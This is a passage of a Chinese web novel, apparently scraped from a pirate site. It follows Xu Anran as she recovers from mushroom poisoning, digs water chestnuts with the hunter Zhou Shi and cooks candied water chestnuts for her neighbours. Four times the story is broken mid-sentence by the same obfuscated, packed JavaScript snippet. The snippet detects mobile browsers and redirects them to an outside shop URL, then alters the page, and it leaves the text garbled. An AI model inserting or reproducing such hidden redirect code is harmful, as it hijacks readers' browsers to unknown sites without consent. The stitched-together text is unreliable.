她的辩解,在几人看来,显得十分苍白,特别是周时。而徐安然也是在回厨房之后才知道,苏清已经将她前天摘回来的菌子全给扔了,那个帮她一起扔的人,还是周时。 这次他扔得很远,反正是找不回来了。 因为不仅苏清担心,周时心中也在后怕,如果昨日姐妹俩不在,那么徐安然会有什么样的危险,他不敢想,也不愿想。 见几人这样的反应,徐安然也只能歇了解释的心思。没事的,下次趁她们不注意的时候再煮一次,吃完了再跟她们讲就好了。反正她是不会放弃吃菌子的。 “今日哪儿也别去了,就好好休息吧。” 另外三人同时点头,李秀莲更是直接道出真相,“对对对,听苏婶的,你才刚醒,吃完饭之后再回去睡一觉。你的精神状态看起来比苏婶还差呢。” “可是我今天想做卤肉……你们不是说好吃嘛,我做好之后明日就可以带去镇上卖了。” “钱重要还是身体重要?”苏清难见的说话严肃了许多,语气带着不可反驳的意味,“让你今日休息就休息,做什么都行就是别忙活家务活。” 徐安然双手紧握着,低着头委屈巴巴地说:“好吧,那我今日休息,明日再做活。” 此话一出,苏清再次恢复慈祥的面容,好似刚刚的严母是另外一个人。 “这就对了嘛,别让娘担心,你再出什么事,娘承受不起的。” “知道了……娘。” 曾孤身一人二十余载,有时候真的反应不过来,自己现在是有家人的人了。 见徐安然这副委屈的模样,苏清心软了。她解释道:“先把自己的身体养好,再去想着赚钱的事情,看病抓药的钱比粮食贵,这话是你说的。” “安然明白了,这次是我大意了,对不起娘。”说完,转过身看着姐妹俩和周时,语气十分认真,“再次谢谢两位姐姐和周大哥的帮忙,改日我一定亲自上门道谢。” 今日就听苏清的,在家好好休息。 “别说那些虚的,既然要道谢,那你以后再做些新奇的美食,可别忘了我们俩姐妹啊。”对于她们姐妹俩来说,什么好处都没有美味的食物来得动心。 “那是自然,等改日我带上好吃的去你们家玩。” 徐安然此刻还不知道,前天傍晚在周时家附近见到的妇女,就是姐妹俩的母亲。 待她们离开没多久,北边刮了很大一阵风,云层翻滚,随之而来的是磅礴的雨。 母女俩连凳子都顾不得搬了,先将院子里的三只兔子转移了位置。 她现在看天气的直觉越来越准了。 这雨一下就停不下来了,足足下了两天,山下又开始冒出了很多野菜。 这次,徐安然再也不是那个最后才得知消息的人了,因为她认识了在上山这块最权威的人,周时。 这天,他带着锄头和弓箭来到徐安然家门外。 距离她家九百多米远的地方,还有一座山,但相较于山亭村的其他几座山来将,更矮一些,猎物不多,所以周时平时并不会去这座山打猎。 但这座山植被丰富,是山亭村所有山头里,最绿的一座。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122483|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在周时看来,越绿,代表植物越多。徐安然也是这么认为的,于是今日她又跟周时上山了。 距离上次摆摊,已经过去五天。徐安然不着急,但是书院里的学生和老师们确是日日翘首以盼。 “那丫头,上次走之前说过什么时候再来吗?” 时间刚到正午,为首的葛学义就已经在书院门口等着了。迟迟等不到徐安然,于是问起一旁同样在等待的苏在。 苏在移靠在书院的门框上,姿势慵懒,半眯着眼,即使阳光刺眼也不愿意换个位置,因为那个位置能够清楚地看到每个到这儿摆摊的商贩。 “没说啊,这姑娘不会每隔五天才来一次吧?” “她家住哪儿你知道吗?” 苏在:…… “不知道。” “你为什么不知道?你不是咱们书院最聪明的老师吗?” 苏在:…… “老头,我要是知道的话,岂不是更奇怪?” 葛学义已经有些疯了,他三天没吃到酸笋,能坚持到今天才发疯,已经十分克制了。 苏在倒还好,他本来也只是觉得徐安然做的葱花饼和外头商贩做的饼味道更好吃而已,吃到了会更开心,吃不到对也生活没有任何影响。 至于葛学义说的那个酸笋,他更是接受不了,太臭了,而且很酸,还有点辣。 “你慢慢等吧,我先走回去了。”苏在说完,转身进了书院。看天色,那人是不会来了,所以等也是白等,不如回去睡会儿午觉。 葛学义却不想放弃,他看着苏在的背影做了个鬼脸:“你就回去吧。等会儿人来了你想买都买不到了。” 说完,站在苏在一开始站着的位置,最佳视角等待徐安然…… 今日她确实是不会来摆摊了,因为此刻的她正在山里确认一件事。 “周大哥,把锄头给我。”徐安然蹲下身,她的前方是一片不大不小的水域,目测水深大概一米半左右,水蔓延开来,将附近的土地都打湿成了泥土地,跟水田差不多。 在这片水田中,长着密密麻麻的短小的茎叶,像胡须,但都枯黄了。如果她猜测得没错,这附近的泥土地里,应该有荸荠。 荸荠一半在晚秋或者初冬成熟,但这仅限于她的认知,大自然是很神奇的,反季节生长的植物也不少。 所以她想亲自确认。 眼看徐安然要走进这片泥地,周时没忍住说道:“你想挖什么?我来吧。” “嗯……”她看着自己的脚,伤口的痂虽然已经脱落了,但今早看还有点泛红血丝,如果这时候下水的话,确实可能会重新感染。 秉持着不让自己受罪的原则,徐安然默默收回了脚,并且将锄头重新递给周时。 “那就麻烦周大哥了,在这片枯黄的草底下挖一挖,应该能挖到黑紫色的,表面像铜钱一样的圆形果实,果实很硬。” 徐安然简单地描述了荸荠的模样,周时仔细听过后,脱了鞋,挽起裤腿,二话不说就蹚了进去。 动作之果断,让她再次瞠目结舌。 22. 第 22 章 每到这时,她都不得不再次感叹自己看人的眼光,果然十分独到,判断从未失误过。 “你慢点儿啊,路很滑。”看周时埋头猛冲的架势,她忍不住出声提醒道。 周时现在可算是她的进山领路人了,也是目前能让她发财的领路人,相当于财神爷,财神爷可不能出事。 “别担心我。”周时头也不回地说。 待他到目的地后,才转过身跟徐安然确认:“是这儿吗?” 她小鸡啄米似乎地点头:“对对对,就沿着这个地方一直往前挖就行了,大概挖十到二十寸的深度就行,如果没有就换地方,不用纠结。” 得到徐安然肯定的回答,他直接一锄头落下,挖之前还不忘跟徐安然说,“行,我明白了。” 不知为何,她很信任周时,或许是这段时间的相处下来,周时并没有办错过任何一件事,给她的印象一直都是一个十分靠谱的人,就像她一样。 “好像挖到了。” 周时的声音在寂静的丛林中响起,还伴随着一阵回声,惊飞许多鸟。 接下来徐安然的声音更是响遍成个山谷。 “真的是荸荠!发财了发财了~发财咯~” 她脑海中顿时出现了许多荸荠为食材的菜名,其中最好吃鲜美的,当属竹笋菌菇汤。也就是前几日导致她中毒的那道汤菜,如果再有荸荠的加入,鲜上加甜。 就是不知道这个过了季节的荸荠味道如何。 周时挖了几个,然后在附近的小溪将荸荠表面的泥土洗干净,这才带回来给徐安然。 本想再回去挖,却被她叫住了步伐。 “周大哥,你等一下。”她从自己的竹筐里拿出一把小刀。 好在今日上山时带上了,本意是想割点韭葱,结果韭葱还没割上,就先发现了更好的东西。 不过在这里挖到的荸荠,好几个都是坏的,吃不得。徐安然也不难过,坏的都丢到一旁。 “有些果实发软了,这就说明坏掉了,不能吃,我才丢掉的。”她跟周时解释。 “不必跟我解释。” “我是怕你误会。” “误会什么?” 她突然不知道该怎么回答了。 好像确实没必要解释,能吃就吃,不能丢掉就好了。 “毕竟这是你辛苦挖上来的……” 对面传来一阵低沉地笑。 “挖这点东西,并不累。”他说。 徐安然也笑了,上下扫了一圈周时的肌肉,点了点头,“这点活儿对于周大哥这身肌肉来说,确实小意思。那烦请周大哥,在吃完这个荸荠之后,再回去帮我多挖些呗?” 说话期间,她沿着荸荠的轨迹,将外边紫色的皮削掉,露出里头白色的果肉。 荸荠的外表通常呈黑色或着深紫色,好的荸荠表皮一定是光滑有光泽的,并且手指按下,并不会发软,很硬,凭借这三点,基本就能判定一个荸荠的好坏。 削了个好的,她先递给周时,接着继续削下一个,同时还跟周时介绍。 “这种果实长在地下,一般生长在水源比较丰富的地方,每年的深秋或者初冬成熟,一开始见到它的叶子,我还不能确定就是呢。” “长在土里的果?怪不得我以前从未见过。你如何知道这么多?” 徐安然抬起头,一脸神秘地说:“不告诉你。” 周时被她这狡黠的样子逗笑了,语气中有他都不曾察觉的宠溺,“不论如何,你都很厉害。” “你说到点上了,我就是很厉害。”在自信这一块儿,徐安然就没输过。 虽然有菌子中毒的先例,但周时依旧相信徐安然,没等她削好第二个荸荠,他就已经一整个下肚了。 出乎意料的好吃,而且很甜,在咀嚼的过程中,甜丝丝的汁水不停地在嘴里分泌。 他惊讶地看着眼前的小果,如实说出自己的评价:“好鲜甜,而且很解渴。” “你说对咯,荸荠的另一个功能就是解渴,”此时,她也削好了第二个荸荠。这次,是入她的肚子。 虽然不知道这荸荠到底是怎么长出来的,但货真价值的美味没有问题。 “周大哥,我再确认一下,这山确实无主吧?” 周时点头,肯定地说:“无主,山间区域不是府衙管辖的范围,附近的居民都可以随意上来,各凭本事打猎,或者像你一样见多识广,发现野菜鲜果。” “那就好,后半句我就当你是夸我了。很中听,以后多说。” “好。” 周时回答得很认真,让徐安然认为他不是在简单附和。 他再次挽起裤脚,重新走进那片泥地。 这次有了经验,动作更快了。 半个时辰不到的时间,他替徐安然挖上来一整筐的荸荠。而且是挑出了坏果的。 见周时还要下地,她连忙制止,“好了好了,下次再来挖,都装满了。” 今日收获很丰富,虽然没摘其他的野菜,但她心里已经很知足了。 在山下,也重新冒出了很多新鲜的野菜。徐安然路过的时候,并没有摘。 以前她穷到吃饭都是问题时,或许会想着摘些回家,但现在她能摘到山里的东西,这些山下的野菜,就留给那些不能够进山的村民们吧。 “周大哥,今日真的谢谢你了,如果以后有什么我能帮得上的忙,尽管找我。” 徐安然语气十分感激,虽然他是丢了菌子的帮凶,但现在较于这一筐荸荠来说,就不是什么值得计较的事了。 “好。”周时出声应下,他并没有什么需要她帮忙的事情,但是他还是应了,因为你来我往,关系才能更亲近。 这是四叔教他的道理。 虽然竹筐里装满了荸荠,但这一路上都是周时在帮她背着,也就从山下回到家的路程是她在背着,所以她直到回家,也没觉得有多累。 倒是心累。 因为她在山下遇见了村里的其他人。 她不认识是谁,但周时称呼他为李叔。山亭村的村民大多姓李,只有三户人家是别的姓氏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133865|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他见到自己跟周时一起下山,眼里探究的意味藏都藏不住,并且一路跟着周时,隐约间,她还听见了那位大叔追问周时的问题。 把周时的脸都问红了。 徐安然已经到家了,但周时还在路上被李祥云缠着。 “李叔,您真别问了,我跟徐姑娘就只是朋友关系,您一直这样问,真的很不尊重人家徐姑娘。” “叔不仅看见你们一起下山,还看见你帮她背着背篓,你还不承认,李叔好歹是看着你长大的吧,才多久不见,居然变得生疏了。” 李祥云近一个月不在村里,跟着村中另外两位年轻人到镇上的码头工作。吃住都在镇上,今日刚回来。 每次雨过之后,山下都会争先冒出许多野菜,他这次来也只是为了摘一些新鲜的回家跟肉一起炒着吃。 不曾想居然遇见了自己的表侄子和村里的姑娘走得很近。八卦之心油然而生,但是这表侄子一句话都不肯跟他透露。 “李叔,你这不是在为难我吗。” “我在关心你的终身大事,又是为难你了?我比你年长,更是比你有经验啊。” “有经验您也不至于到现在都孤身一人吧……” 周时这话说得极为小声,李祥云年纪大了,听力不是特别好,所以凑近他疑惑地问:“你嘀嘀咕咕说什么呢?” “没什么,您真的别问了,我俩现在还只是朋友关系。” “哦~我明白了,意思就是,以后可能不只是朋友关系对吧?你放心,我是这个村唯三最疼你的人,不会乱说的。你要是实在不想说,我去问四哥儿。” “您去,您去吧。” 李四和李祥云是亲兄弟,李祥云更识字,所以在镇上码头做的也不是拉货的活儿,而是帮着记录船只每日货物进出的数量。因为他工作认真,极少出错,而且为人老实,所以每次有货到达,老板们都喜欢叫他过去。 从小到大,李祥云也将周时当亲儿子一样看待,即使他只比周时大十岁,还是孩童的年纪时,也会领着小小的周时一起去朋友家玩,还会教他读书识字。在周时的父亲和李四都不在的时候,李祥云就成为了唯一一个照顾周时的人。 在周时看来,两人的感情,亦兄亦友,但李祥云总拿他当儿子看待。 就好比现在,除了四叔和四婶之外,最操心他个人大事的人,当李祥云莫属了。 李祥云早知道周时还是这个回答,如果想说早就说了,但他还是装作被伤得很深的样子,捂着胸口,先周时一步朝着李四家中走去。 自从李四娶妻之后,李祥云就搬出去了,在村子南边建了房子独居,兄弟俩虽然一个在北一个在南,隔了大半个村的距离,但关系从未有过隔阂。是村里公认的,关系最好的兄弟俩。 周时的童年,其实很幸福。 徐安然不知道这一段插曲,如今正在家中,滔滔不绝地向苏清介绍荸荠。 只是,这次苏清尝试的动作显然有些犹豫。 她缓缓问:“安然,这次,应该不会中毒吧?” 23. 第 23 章 徐安然知道,上次菌子中毒之后,肯定会有这么一天。只是没想到这一天来得这么快。 她扶着额头,最终还是说出了那句话。 “娘,在山里找到这个的时候,我和周大哥已经吃过了,现在已经过去两个时辰了吧,如果真的有毒,我俩早躺下了。” 果不其然,苏清又一脸紧张地看着她,并且拉着她的手上下打量之。 徐安然任由她检查,她知道这是苏清关心她的一种方式,她不觉得烦,反而觉得很幸福。 有人这样真心实意地惦记自己,是这世界上最幸福的一件事情了。 “好像确实没发现有什么不对劲儿的地方。”苏清松了口气。 “本来就没什么事嘛,我又不是三岁小孩了,不舒服我自己会休息,也会去看大夫。”她握着苏清的手,“娘,您操心了一辈子,以后安然来照顾你,不要再把安然当作小孩子来看待了好吗?” 古人普遍成熟得比较早,十九岁在现代还是上学的年纪,在这里已经要承担起照顾一家子的责任了。 她既然来到这个世界,那就以这个世界的节奏生活,也能舒心一些。 得到苏清的信任之后,再次将削好的一个荸荠递给她。这一次,苏清吃得格外果断,一副我豁出去了的样子,让徐安然哭笑不得。 “这水果对人体可好了,其实我们家后边的山上有很多可以吃的野菜野果,只要咱们不生病,即使不去镇上摆摊,只靠山里获得物资,也能够生活得很好。” 徐安然在说话的同时,苏清在回味荸荠的味道。 她没想到这样一个外表其貌不扬的小果,味道竟如此甘甜。而且水分丰富,一口咬下,清脆的声响伴随着甘甜的汁液在嘴中迸发,清甜多汁,脆爽可口。 “刚刚你说,这果子还可以做成菜?” “对呀,做成菜的荸荠,口感会变得软糯,而且也更香甜,跟竹笋和菌子一起煮,鲜上加鲜。如果有虾一起煮的话,更是别有一番风味……” “可别再说菌子了。娘现在听到这两个字就后背一凉。”苏清十分后怕地说。 徐安然知道苏清已经有些应激了,肯定没那么快走出来,反正日子还长,慢慢来吧。这次先服个软。 “好,我不说了哈,您别害怕。” “倒也不是害怕,那菌子味道确实不错……只是,娘不想再出糗了。” 苏清骨子里也是个高傲的人。当出徐大志死后,很多人都不看好她,说她一个女子带着孩子若不改嫁,定活不下去。 也正是因为这句话,激起了苏清心里的胜负欲。 小时候的原生家庭对苏清的影响太大了,家里的母亲从来只听父亲的话,像个提线木偶,没有自己思想,任由人摆布。除了生儿育女,里里外外大小家务也都由她的母亲一人承担,却还是在那个家得不到一点尊重。时间越来越长,她母亲的身体更是日复一日地被摧残,年仅三十便离了人世。 苏清还有三个哥哥,也就是徐安然的舅舅。他们得知自己母亲离世后,一点也不伤心,反而跟个没事人一样。而家中唯一的女子,苏清,便在那个家自然而然地接替了母亲平日的活儿。 在哥哥们都在读书的时候,她迎着冷风在外头洗衣服。 在哥哥们都在和伙伴们玩耍的时候,她在家里给鸡鸭做饭。 小小的身影里里外外地忙碌,父亲始终一副一家之主的模样坐在主位上,像看奴隶一样看着苏清。 这样的日子一过就是十年。直到徐大志出现,替她脱离了这个恶魔一样的家。 徐大志对她很好,只可惜,好人不长命。徐大志死后,苏清也曾试着回家,即使继续当牛做马,只要他们对徐安然好。 但那个家根本没有正眼看过徐安然,只因为她是女孩,是那些人口中的赔钱货。为了不让自己女儿走上她的老路,苏清带着徐安然离开了,回到山亭村,回到有她和徐大志幸福回忆的小家。 从那时候开始,母女俩便在山亭村的小家相依为命,山亭村多数村民人都不错,但也有那么几个蛀虫,一开始,常有村里的单身汉到家中偷窥,甚至想对苏清图谋不轨。 她硬是拿着菜刀跟人对峙了半个时辰,满身是血的她,在吓走歹人后,还不忘先哄年幼的徐安然。 后来她将这件事告诉村里的村长,村长经过一顿思想教育之后,那人才有所收敛,但这么多年过去,只要看到苏清,也少不了口头上调戏一番。 这也是之前徐安然平日不爱出门的原因。在一个贫苦的家庭,好看的容貌从来都不是加分项。 这么多年的相依为命,即使过得难,只要不饿着徐安然,她便不会轻易接受别人的施舍。在山亭村,也争得了一个好名声。村里的女人提起苏清,心里从来都是敬佩。 因为苏清做到了她们做不到的事。 “想什么呢?”苏清的话,打断了徐安然的思绪。 她眼眶湿红,看着苏清的眼神中,满是心疼。 她不知道这段记忆是怎么突然到脑子里的,但她肯定,这段记忆一定是真的,因为回忆的过程中,她的心好疼。 她猛地抱住了苏清,声音有些哽咽:“娘,您辛苦了。” 到现在,她才真正了解苏清,才真正了解母亲。 苏清哪里听不出徐安然的哭腔,但此刻的她心中除了疼惜外,还有些开心。在女儿心中,她还是那个不可或缺的角色。 即使灵魂已经换了一个人,但母女之间有着特殊的纽带,这层纽带一直都没有断过,她能感觉得到。 她拍了拍徐安然的肩膀,“好啦,快想想晚饭吃什么。” 自从徐安然展露几次过人的厨艺之后,苏清对日子又有了新的盼头,期盼每天的晚饭。 以及期待,每次徐安然都会从山里带回来些什么。 虽然没进过山,但也知道山里东西多,不过那些东西可不那么好找,她很好奇徐安然是如何发现那些东西都能吃的。 于是她问此刻已经在厨房忙碌的徐安然:“安然,娘下次想跟你一起上山去。” 说这话前苏清一直在厨房外徘徊,欲言又止的样子,原来为的是这件事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138209|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然可以啦!反正下一次再上山的时候,我腿上的伤口一定全都好了,咱们家后山平日没人去,我还以为很凶险,今日跟周大哥走过一次之后,发现植物居多,没那么恐怖,我们娘俩一起上去不是问题。” 徐安然一边摘菜,一边解释说。 她确实也不想每次都麻烦周时了,被村里其他人看见,总是会误会。 瞧今天见到村里人的反应来看,周时应该挺在意自己名声的。 “行,那娘就跟着一起去,帮我们家安然提东西。” “好咧!” 说定后,徐安然继续投身于自己的烹饪事业,苏清则又开始对菜园子起了兴趣。 上次的丝瓜和黄瓜苗都蔫巴了,徐安然二话不说全铲掉了,种了应季的白菜和菠菜。前两日下了一场大雨,白菜苗已经冒头了,但菠菜还埋在土里,估计还得等上几日才能冒头。 徐安然余光见到苏清又想去她刚打理好的菜地里添乱,连忙出声阻止。 “娘,您可别再去菜地里添乱了,今日两种菜都不需要浇水。” “啊?”苏清一脸愁容,自从女儿灵魂觉醒后,她越来越帮不上忙了。 “不过您可以去喂三只小兔,它们需要你。” 苏清有十几年养孩子的经验,养好几只兔子不是问题。 听到这话,苏清眼睛又亮了,连忙应下:“哎,好~娘这就去喂兔子。” 苏清也很喜欢兔子,因为白白胖胖的,虽然排泄物有些难闻,但只要见到那三张可爱的兔子脸蛋,心就化了,哪里还顾得上嫌弃。 这边在厨房里的徐安然眼见终于哄好了苏清,继续忙手里的活儿。 荸荠今天是必须做菜的,她忍不到以后。 虽然没有别的配菜,但是荸荠本身就是一道可以单吃的食物,做成拔丝荸荠,美味程度不亚于拔丝土豆。 并且只需要白糖和芝麻油两种调味料,再加两个蛋作为辅菜。 她坐在一个小板凳上,手里一把小刀,手边是一筐待削的荸荠。荸荠的皮其实很不好削,因为它的果实很硬,需要用些力气。 她从小力气就比同龄人小一些,现在换了别人的身体,力气依旧没什么进步。光削几个荸荠,她的手就红了。 苏清就在外面和兔子玩,她看了一眼,还是选择不打扰。 磨磨蹭蹭的,她总算削完了十五个。将它们全部倒入沸水的锅里,她虽然没做过这道菜,但食谱她还记得。 焯水的同时,空出来的时间在空碗里打上两个蛋,搅拌开后,加几勺面粉,白糖和水,做成面糊。 荸荠挂上面糊,放入油锅中。 期间徐安然一直盯着荸荠的颜色变化,知道荸荠外面挂上一层红黄色,立刻将火柴拿开,放在另一个灶口中。 灶口的上面,是一个已经放了芝麻油的,等待入菜的锅。直到油热,加入几勺白糖,熬到起泡的粘稠状,这样糖汁就熬好了,均匀地挂在在荸荠上,一道表面晶莹剔透的拔丝荸荠就完成了。 对着光看,像颗黄水晶,散发着甜香。 24. 第 24 章 徐安然这边刚做好饭,就碰见苏清站在厨房外,眼巴巴地看着。 “娘,你站在外面干什么呀,快进来,菜正好出锅了。” 苏清居然有些难为情,她扭捏道:“这不是怕过去影响你做事嘛。” 家里厨房太小了,如果不是什么要紧事,苏清现在基本上都不会在厨房里待着了,就怕给她添麻烦,她自己不知道,她在下厨的时候有多么认真。就像在做一张考卷儿那样认真。 “一直都不会影响我,快来试试我的新菜。”她走出厨房将苏清拉进屋,于此同时,手上还拿着刚出锅的拔丝荸荠,她迫不及待地先夹了一块给苏清,然后满眼期待地看着她。 虽然对自己的厨艺很自信,但还是想看到反馈。 果然不出所料,在尝过一口之后,苏清便忍不住让她再夹一个。 “安然,你好厉害!这名叫荸荠的食物,生的时候很脆,煮熟之后竟能像面糊一样软糯。” “娘,你要是喜欢吃的话,这一盘都是你的,我还要再做一些,和卤肉一起明天带到镇上去卖。” 拔丝类的食物,属于甜嘴菜,秀敏喜欢吃甜,她应该会很喜欢这道菜。她决定给两姐妹送去一些,当作那日救命之恩的答谢。 傍晚时分,徐安然手里拿着签子挂着肉,一边啃一边前往秀敏家。 这时候大家都在家里吃饭,没人在外面,所以她才能这么自在。 这是她第一次来吃货两姐妹的家中,之前去过小柔的家和周时的家,本以为已经很大很宽敞了,但两姐妹的家才算是真正意义上的,又大,又漂亮,并且是个二层小楼。 这也是她即使没来过也能找到她们家的原因,因为两姐妹说过,村里唯一一栋有二层小楼的屋子,就是她们家。 “我以后也要在村里盖这样一栋房子。”徐安然小声说。 她叩响了门。 很快,屋内传来了一道声音。 “来啦~”丁云从屋里小跑着出来,手上还端着一个小碗,是刚做好的红烧肉,还热着,“这个时候也不知道是谁来了。” 开门之后,双方都愣住了。 “安然?”丁云惊呼出声。 “额……”她没想到当时在周时门口见到的阿姨居然就是两姐妹的母亲。 “阿姨好,我是来找秀敏和秀莲的。” 丁云笑得十分开心,她空出一只手拉住徐安然的手腕,“快进来,快进来,我们正吃着饭呢,你吃过了吗?就在我们这儿吃吧,你叔叔今日做了红烧肉,一起吃点儿,等会儿再拿一些回去给你娘,帮我跟你娘问声好。” 她一连串说了很多话,现在徐安然终于知道秀莲的性格像谁了。 丁云这么热情也是有原因的,现在家里两个女儿每天都在他们夫妻俩耳边唠叨徐安然这个名字,从什么时候开始的?应该是一个多月前,两人一起去镇上卖绣帕那次。 徐安然全程十分茫然地被丁云带进屋,紧接着就这样将她们家的家人都见了一遍。 其实也就两姐妹,还有她们的父亲,名叫李超。 苏清曾说过,李超年轻时在城里做生意,赚了些钱,但城里各式各样的消费太高,于是便将店卖了,拿着这么些年赚的钱回来家盖了房子。 李秀莲拿来一个椅子,放在自己和姐姐的中间,然后热情地说:“安然,快坐呀。我没想到你居然回来找我,好开心。” 李秀莲笑得合不拢嘴。不仅是因为徐安然来她家开心,更是因为她还带了一个食盒,她猜得没错,里面一定有好吃的。 徐安然没有真的要在别人家吃饭的意思,她也不能留苏清一个人在家吃饭。 “李叔,丁姨,谢谢你们,但是这饭我就不吃了,我娘还在家里等我呢。”徐安然没坐下,她将食盒放在餐桌旁闲置的小桌上,“这次来是想给秀敏尝尝我新做的菜,前几日秀敏和秀莲去我家时,恰好碰见我……那个,生病了,她们帮我叫来了大夫,所以这是我的一份谢礼,这道菜名叫拔丝荸荠。” 说完,她将食盒的盖子打开。 荸荠还是热的。甜丝丝的香味钻进在座每一位的鼻尖。这不是肉,却比红烧肉还要香。 李秀敏眼睛都亮了,她一向沉稳,但现在却没忍住等徐安然介绍完就上手了。 但李超一句“不像话”,打断了李秀敏的动作。 徐安然又断定,李秀敏的性格像李超。这俩姐妹一个遗传娘,一个遗传爹,真有意思。 李超想等徐安然将话说完,但没想到徐安然这次来居然就只是送吃的。没再有别的请求。 这让他觉得自己刚刚心里的想法有些小肚鸡肠。 徐安然家里困难是整个山亭村都知道的事情,他本以为她这次来,除了感激之外,还有些别的想法,比如借钱…… 是他小人之心了。 徐安然没想得那么复杂,将东西送到之后,就要离开了,但是不知为何,她总觉得,李叔看她的眼神,带了那么点愧疚。应该是看错了吧…… 离开之后,李秀敏终于坐不住了,连忙夹了一块荸荠。 “爹,你刚刚阻止我干嘛呀,你是不是又用你那商人的思维去想我们家安然了?我跟你说,她真不是那样的人。而且,是我们姐妹俩想跟她交朋友,是我们俩上赶着跟她一起玩,可不是她主动的。”她一边咬着荸荠,心中感叹美味的同时,继续说,“安然做菜可好吃了,比您还要好吃呢。” “有那么好吃吗?”虽然卖相是好看了些,香味也有,但怎么看都是一道很简单的菜啊,甚至都没有其他的配菜。 只有那个叫……对,荸荠的东西。 这东西他曾在汴京见到过,不是什么百姓喜欢吃的。他曾吃过一次,很硬,而且皮很难吃。 只是眼前这道,好像将皮去掉了,只有白色的果肉。这倒是勾起了他的好奇心。 “安然还记得我喜欢吃甜的,这一定是她专门送来给我的!”李秀敏一边吃,一边感动地说。 “明日安然要去镇上,我们也去吧,姐。” “行!” 本来两姐妹这几日都没有去镇上的计划,但是今日徐安然给她们送来这道新菜,她们猜得没错,明日要卖的食物里,一定有这道菜。 徐安然从两姐妹家出来之后,没有往家的方向去,而是继续往前走。她手上还有一份荸荠没送到。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144017|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虽然今天和周时分开的时候他表情有些不对劲儿,但怎么说人家既帮她下水挖荸荠,又帮她将满筐的荸荠搬下山,送些好吃的过去是有必要的,反正也也是顺路。 到周时家门口时,恰好看见周时的院门大开着,周时本人则在院子里处理前段时间从山上猎回来的猎物。 她一眼就认出来了,这是那次在陷阱里找到的野猪,奇怪的是这么长时间了,周时居然才开始处理这头野猪。 记得第一次和他一起上山时打猎到的那头黑猪,在第二天他就处理完了。 徐安然没有刻意压低声音走路,她刚到门口,周时就转过头来了,对于来人是她,居然并不感到奇怪。 每个人的走路声音都不一样,他早已将徐安然的走路习惯记住了。 “周大哥。” 周时停下手里的活儿,赶紧洗了把手,胡乱擦干,这才来到徐安然身边。 “你怎么来了?”问完,周时就后悔了,他的语气好像比较生硬。 但只是他自己觉得,徐安然并不这么认为,因为和平常没两样。 “今日谢谢你带我上山,帮我挖荸荠和背下山,这是我刚做好的拔丝荸荠。你试试味道。” “你明日要去镇上吗?” 徐安然点头:“去的。” “知道了。”周时看了一眼徐安然放在桌上的食盒,“食盒先放我这里吧,明日我拿过去给你,正好,明日我也要去镇上卖肉。” “好。”她恰好嫌这食盒太重了。 “那……我们明天见,明日巳时一刻,在门口等着四叔就行。” “知道了,没什么事我就先走了,你快趁热吃吧。不过这个虽然好吃,但也别吃太多了,荸荠性凉,吃多了对脾胃不好。” “好,我听你的。” 两人的对话有来有回,明明是很正常的语气,但她就是觉得,有那么一丝暧昧。特别是最后一句,说知道了就行了,说什么听她的啊。 或许他说话的方式就是这样。 一定是她想太多了。 是的。 …… 天色渐暗,烛火亮起。 徐安然坐在饭桌前,手里是吃到一半的米饭,今日桌上的菜是卤肉和拔丝荸荠,味道不错,但她吃得并不多。 “在想什么呢?”苏清忍不住问。 自从回来后,都快一个时辰了,徐安然还在发呆,不说一句话就算了,现在饭在眼前,一口也不吃,这不像她。 不曾想,她都这么问了,徐安然还是没反应过来。 “安然?”她声音又大了些。 这次总算有反应了。 “嗯?怎么了娘,这不好吃吗?” “娘还想问你怎么了呢。自从你回来之后便一言不发,发生了什么事?” 她嘴角扯出一抹笑,“没事呀,快吃吧,明日我要去镇上卖卤肉,吃完之后我就先回屋休息啦。” 希望是她想多了,要是周时真对她别有心思,她还真不好意思一直这样麻烦他了。 显得她像个渣女。 且,请他到店里帮忙这件事,好像也得从长计议了。 25. 第 25 章 夜晚,徐安然始终难以入眠,一旦有了其他想法,她的心里负担更重了。 